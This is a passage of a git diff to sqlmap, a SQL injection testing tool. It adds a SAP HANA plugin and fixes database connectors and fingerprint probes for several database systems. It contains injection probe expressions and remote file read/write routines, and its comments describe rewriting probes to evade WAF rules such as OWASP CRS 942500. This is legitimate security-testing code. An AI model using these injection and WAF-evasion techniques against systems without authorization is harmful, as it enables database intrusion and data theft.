getSafeExString(ex)).strip()) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/hana/enumeration.py b/plugins/dbms/hana/enumeration.py new file mode 100644 index 00000000000..24e6e5d3808 --- /dev/null +++ b/plugins/dbms/hana/enumeration.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on SAP HANA it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/hana/filesystem.py b/plugins/dbms/hana/filesystem.py new file mode 100644 index 00000000000..5992ee66aff --- /dev/null +++ b/plugins/dbms/hana/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on SAP HANA reading of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on SAP HANA writing of files is not supported" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hana/fingerprint.py b/plugins/dbms/hana/fingerprint.py new file mode 100644 index 00000000000..bd292f3f8dd --- /dev/null +++ b/plugins/dbms/hana/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import HANA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.HANA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.HANA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(HANA_ALIASES): + setDbms(DBMS.HANA) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MAP(1,1,'[RANDSTR1]','[RANDSTR2]')='[RANDSTR1]'") + + if result: + infoMsg = "confirming %s" % DBMS.HANA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT_SCHEMA FROM DUMMY) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.HANA) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.HANA + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/hana/syntax.py b/plugins/dbms/hana/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/hana/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/hana/takeover.py b/plugins/dbms/hana/takeover.py new file mode 100644 index 00000000000..b21c4f7e858 --- /dev/null +++ b/plugins/dbms/hana/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on SAP HANA it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on SAP HANA it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 429337d20bd..494c2988bbd 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -37,15 +37,16 @@ def connect(self): jar = readInput(msg) checkFile(jar) args = "-Djava.class.path=%s" % jar - jvm_path = jpype.getDefaultJVMPath() - jpype.startJVM(jvm_path, args) + if not jpype.isJVMStarted(): + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) try: driver = 'org.hsqldb.jdbc.JDBCDriver' - connection_string = 'jdbc:hsqldb:mem:.' # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) - self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + connection_string = 'jdbc:hsqldb:hsql://%s:%s/%s' % (self.hostname, self.port, self.db) # was hardcoded to 'jdbc:hsqldb:mem:.' (a fresh empty in-memory DB), ignoring the -d target + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index d5e78548412..2bd06696c50 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -47,12 +47,12 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals logger.debug(debugMsg) # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures - invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes) + invokeQuery = "CALL %s('%s', X'%s')" % (func_name, remoteFile, fcEncodedStr) inject.goStacked(invokeQuery) logger.debug("cleaning up the database management system") - delQuery = "DELETE PROCEDURE %s" % func_name + delQuery = "DROP PROCEDURE %s" % func_name inject.goStacked(delQuery) message = "the local file '%s' has been written on the back-end DBMS" % localFile diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index b58faee05da..6621a948b34 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -99,7 +99,7 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) - result = inject.checkBooleanExpression("LEAST(ROUNDMAGIC(PI()),3)=3") + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") # Note: same check without the blacklisted LEAST() if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index e6f05889c0f..b7ae9e80506 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -32,7 +32,7 @@ def connect(self): try: database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) - except ibm_db_dbi.OperationalError as ex: + except ibm_db_dbi.Error as ex: # base class: ibm_db_dbi maps wrong-credential (SQLSTATE 28) to ProgrammingError, not OperationalError raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index f71e6deff80..9936a4deeec 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -97,7 +97,7 @@ def checkDbms(self): logger.info(infoMsg) for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): - output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION','FULL') LIKE '%%%s%%')" % version) if output: Backend.setVersion(version) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index ab791f6e74c..be85e648d7c 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -197,9 +197,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: - table = {} - table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) continue infoMsg = "fetching columns " @@ -219,8 +219,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]): columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length) - table[tbl] = columns - kb.data.cachedColumns[conf.db] = table + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][tbl] = columns return kb.data.cachedColumns diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index e6bcced6b96..74d27c43706 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -30,8 +30,10 @@ def connect(self): self.initConnection() try: - self.connector = mimerpy.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) - except mimerpy.OperationalError as ex: + # mimerpy.connect uses dsn/user/password (host/port come from Mimer's sqlhosts/MIMER_DATABASE + # configuration, not connect() kwargs); the previous hostname/username/... kwargs raised a TypeError + self.connector = mimerpy.connect(dsn=self.db, user=str(self.user), password=str(self.password)) + except Exception as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index 83c065d18b4..e429a9315bd 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -68,7 +68,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MONETDB logger.info(infoMsg) - result = inject.checkBooleanExpression("isaurl(NULL)=false") + result = inject.checkBooleanExpression("isaurl(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MONETDB diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index f49cabaa646..fbc57a53255 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -54,11 +54,20 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) @@ -70,7 +79,7 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 28de4c5d672..bd27f55e2bb 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -93,7 +93,7 @@ def getTables(self): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -116,7 +116,7 @@ def getTables(self): if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -206,7 +206,7 @@ def searchTable(self): for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue @@ -343,7 +343,7 @@ def searchColumn(self): for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 416cf2d28f5..241b4b64586 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -119,7 +119,7 @@ def stackedReadFile(self, remoteFile): DECLARE @firstint INT DECLARE @secondint INT - SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) + SET @tempint = CONVERT(INT, (SELECT TOP 1 ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) @@ -157,7 +157,7 @@ def stackedReadFile(self, remoteFile): indexRange = getLimitRange(count) for index in indexRange: - chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) + chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE id NOT IN (SELECT TOP %d id FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, index, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) @@ -336,6 +336,7 @@ def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 vbs = codecs.decode(vbs, "rot13") vbs = vbs.replace(" ", "") + vbs = vbs % (randFilePath, remoteFile) encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 18b4b0beb64..8605600dae2 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -91,9 +91,9 @@ def checkDbms(self): for version, check in ( ("Azure", "@@VERSION LIKE '%Azure%'"), ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), - ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2022", "LEFT_SHIFT(1,1)=2"), # Note: same release as the blacklisted GREATEST() ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), - ("2017", "TRIM(NULL) IS NULL"), + ("2017", "TRANSLATE('[RANDSTR]','[RANDSTR]','[RANDSTR]')='[RANDSTR]'"), # Note: same release as the blacklisted TRIM() ("2016", "ISJSON(NULL) IS NULL"), ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 183ce9462c9..c60441855dd 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -16,9 +16,22 @@ def escape(expression, quote=True): True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" True + >>> Syntax.escape(u"SELECT '\U0001f600' FROM foobar") == "SELECT NCHAR(55357)+NCHAR(56832) FROM foobar" + True """ def escaper(value): - return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "NCHAR", _) for _ in getOrds(value)) + chars = [] + + for _ in getOrds(value): + if _ < 128: + chars.append("CHAR(%d)" % _) + elif _ < 0x10000: + chars.append("NCHAR(%d)" % _) + else: + _ -= 0x10000 + chars.append("NCHAR(%d)+NCHAR(%d)" % (0xd800 + (_ >> 10), 0xdc00 + (_ & 0x3ff))) # SQL Server's NCHAR() only accepts BMP values without SC collation, so split into a surrogate pair + + return "+".join(chars) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 53c1b078720..23a10b318a4 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -61,7 +61,7 @@ def spHeapOverflow(self): break if not addrs: - errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg = "sqlmap cannot exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 459ff23d5bc..2bdc706d0c4 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -12,7 +12,6 @@ import logging import struct -import sys from lib.core.common import getSafeExString from lib.core.data import conf @@ -34,8 +33,8 @@ def connect(self): self.initConnection() try: - self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password.encode(sys.stdin.encoding), db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) - except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: + self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) + except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error, UnicodeEncodeError) as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index acde3cc35c9..f8c83be25ef 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -79,7 +79,7 @@ def stackedReadFile(self, remoteFile): if length > chunkSize: result = [] - for i in xrange(1, length, chunkSize): + for i in xrange(1, length + 1, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 1876779edef..84eabbdbe1d 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -45,14 +45,17 @@ def _commentCheck(self): # Reference: https://dev.mysql.com/doc/relnotes/mysql/./en/ versions = ( - (90300, 90302), # MySQL 9.3 - (90200, 90202), # MySQL 9.2 - (90100, 90102), # MySQL 9.1 + (90600, 90601), # MySQL 9.6 + (90500, 90501), # MySQL 9.5 + (90400, 90401), # MySQL 9.4 + (90300, 90301), # MySQL 9.3 + (90200, 90201), # MySQL 9.2 + (90100, 90101), # MySQL 9.1 (90000, 90002), # MySQL 9.0 - (80400, 80406), # MySQL 8.4 - (80300, 80302), # MySQL 8.3 - (80200, 80202), # MySQL 8.2 - (80100, 80102), # MySQL 8.1 + (80400, 80409), # MySQL 8.4 + (80300, 80301), # MySQL 8.3 + (80200, 80201), # MySQL 8.2 + (80100, 80101), # MySQL 8.1 (80000, 80043), # MySQL 8.0 (60000, 60014), # MySQL 6.0 (50700, 50745), # MySQL 5.7 @@ -69,7 +72,8 @@ def _commentCheck(self): found = False for candidate in versions: - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1]=[RANDNUM2]*/" % candidate[0]) + # Note: '.0' keeps the (always false) comparison, but takes the comment off WAF/IPS blacklists (e.g. OWASP CRS rule 942500) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%d AND [RANDNUM1].0=[RANDNUM2]*/" % candidate[0]) if not result: found = True @@ -78,7 +82,7 @@ def _commentCheck(self): if found: for version in xrange(candidate[1], candidate[0] - 1, -1): version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) + result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1].0=[RANDNUM2]*/" % version) if not result: if version[0] == "3": @@ -92,6 +96,14 @@ def _commentCheck(self): return None + def _checkUtf8mb4(self): + # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; cache whether utf8mb4 works ('' if not) + kb.mysqlUtf8mb4 = hashDBRetrieve(HASHDB_KEYS.MYSQL_UTF8MB4) + + if kb.mysqlUtf8mb4 is None: + kb.mysqlUtf8mb4 = "utf8mb4" if inject.checkBooleanExpression("[RANDNUM]=CONVERT([RANDNUM] USING utf8mb4)") else "" + hashDBWrite(HASHDB_KEYS.MYSQL_UTF8MB4, kb.mysqlUtf8mb4) + def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) @@ -108,6 +120,8 @@ def getFingerprint(self): fork = FORK.DORIS elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%StarRocks%'"): fork = FORK.STARROCKS + elif inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL"): # Note: GEOGRAPHY_AREA() is MemSQL specific + fork = FORK.MEMSQL elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: @@ -115,6 +129,8 @@ def getFingerprint(self): hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + self._checkUtf8mb4() + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -187,20 +203,14 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("IFNULL(QUARTER(NULL),NULL XOR NULL) IS NULL") + # Note: QUARTER() and XOR are the MySQL specifics here, while the dropped IFNULL() only added a name that WAF/IPS blacklist (e.g. OWASP CRS rule 942151) + result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL AND (NULL XOR NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("COALESCE(SESSION_USER(),USER()) IS NOT NULL") - - if not result: - # Note: MemSQL doesn't support SESSION_USER() - result = inject.checkBooleanExpression("GEOGRAPHY_AREA(NULL) IS NULL") - - if result: - hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL) + result = inject.checkBooleanExpression("(QUARTER(NULL) XOR [RANDNUM]) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL @@ -214,19 +224,20 @@ def checkDbms(self): kb.data.has_information_schema = True # Determine if it is MySQL >= 9.0.0 - if inject.checkBooleanExpression("ISNULL(VECTOR_DIM(NULL))"): + if inject.checkBooleanExpression("VECTOR_DIM(NULL) IS NULL"): Backend.setVersion(">= 9.0.0") setDbms("%s 9" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 8.0.0 - elif inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + elif inject.checkBooleanExpression("JSON_STORAGE_FREE(NULL) IS NULL"): Backend.setVersion(">= 8.0.0") setDbms("%s 8" % DBMS.MYSQL) self.getBanner() # Determine if it is MySQL >= 5.0.0 - elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): + # Note: '@@automatic_sp_privileges' (MySQL 5.0.3) instead of the blacklisted TIMESTAMPADD() + elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() @@ -238,11 +249,11 @@ def checkDbms(self): logger.info(infoMsg) # Check if it is MySQL >= 5.7 - if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): + if inject.checkBooleanExpression("JSON_QUOTE(NULL) IS NULL"): Backend.setVersion(">= 5.7") # Check if it is MySQL >= 5.6 - elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): + elif inject.checkBooleanExpression("VALIDATE_PASSWORD_STRENGTH(NULL) IS NULL"): Backend.setVersion(">= 5.6") # Check if it is MySQL >= 5.5 @@ -326,7 +337,7 @@ def checkDbmsOs(self, detailed=False): infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") + result = inject.checkBooleanExpression("'W'=UPPER(LEFT(@@version_compile_os,1))") # Note: LEFT() instead of the blacklisted MID() if result: Backend.setOs(OS.WINDOWS) diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 0d011fb8afd..550a413055c 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -32,6 +32,14 @@ class Connector(GenericConnector): def connect(self): self.initConnection() + # Fetch CLOB/BLOB values directly as str/bytes instead of oracledb.LOB objects; otherwise a LOB cell + # reached the renderer as the repr '' (BLOB bytes are then hex-encoded + # by direct()'s binary handling). + try: + oracledb.defaults.fetch_lobs = False + except AttributeError: + pass + self.user = getText(self.user) self.password = getText(self.password) diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 197b9bddc99..258a79147cb 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -31,25 +31,24 @@ def readFile(self, remoteFile): payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) - for remoteFile in remoteFile.split(','): - if not kb.bruteMode: - infoMsg = "fetching file: '%s'" % remoteFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) - kb.fileReadMode = True - fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) - kb.fileReadMode = False + kb.fileReadMode = True + fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + kb.fileReadMode = False - if not isNoneValue(fileContent): - fileContent = decodeDbmsHexValue(fileContent, True) + if not isNoneValue(fileContent): + fileContent = decodeDbmsHexValue(fileContent, True) - if fileContent.strip(): - localFilePath = dataToOutFile(remoteFile, fileContent) - localFilePaths.append(localFilePath) + if fileContent.strip(): + localFilePath = dataToOutFile(remoteFile, fileContent) + localFilePaths.append(localFilePath) - elif not kb.bruteMode: - errMsg = "no data retrieved" - 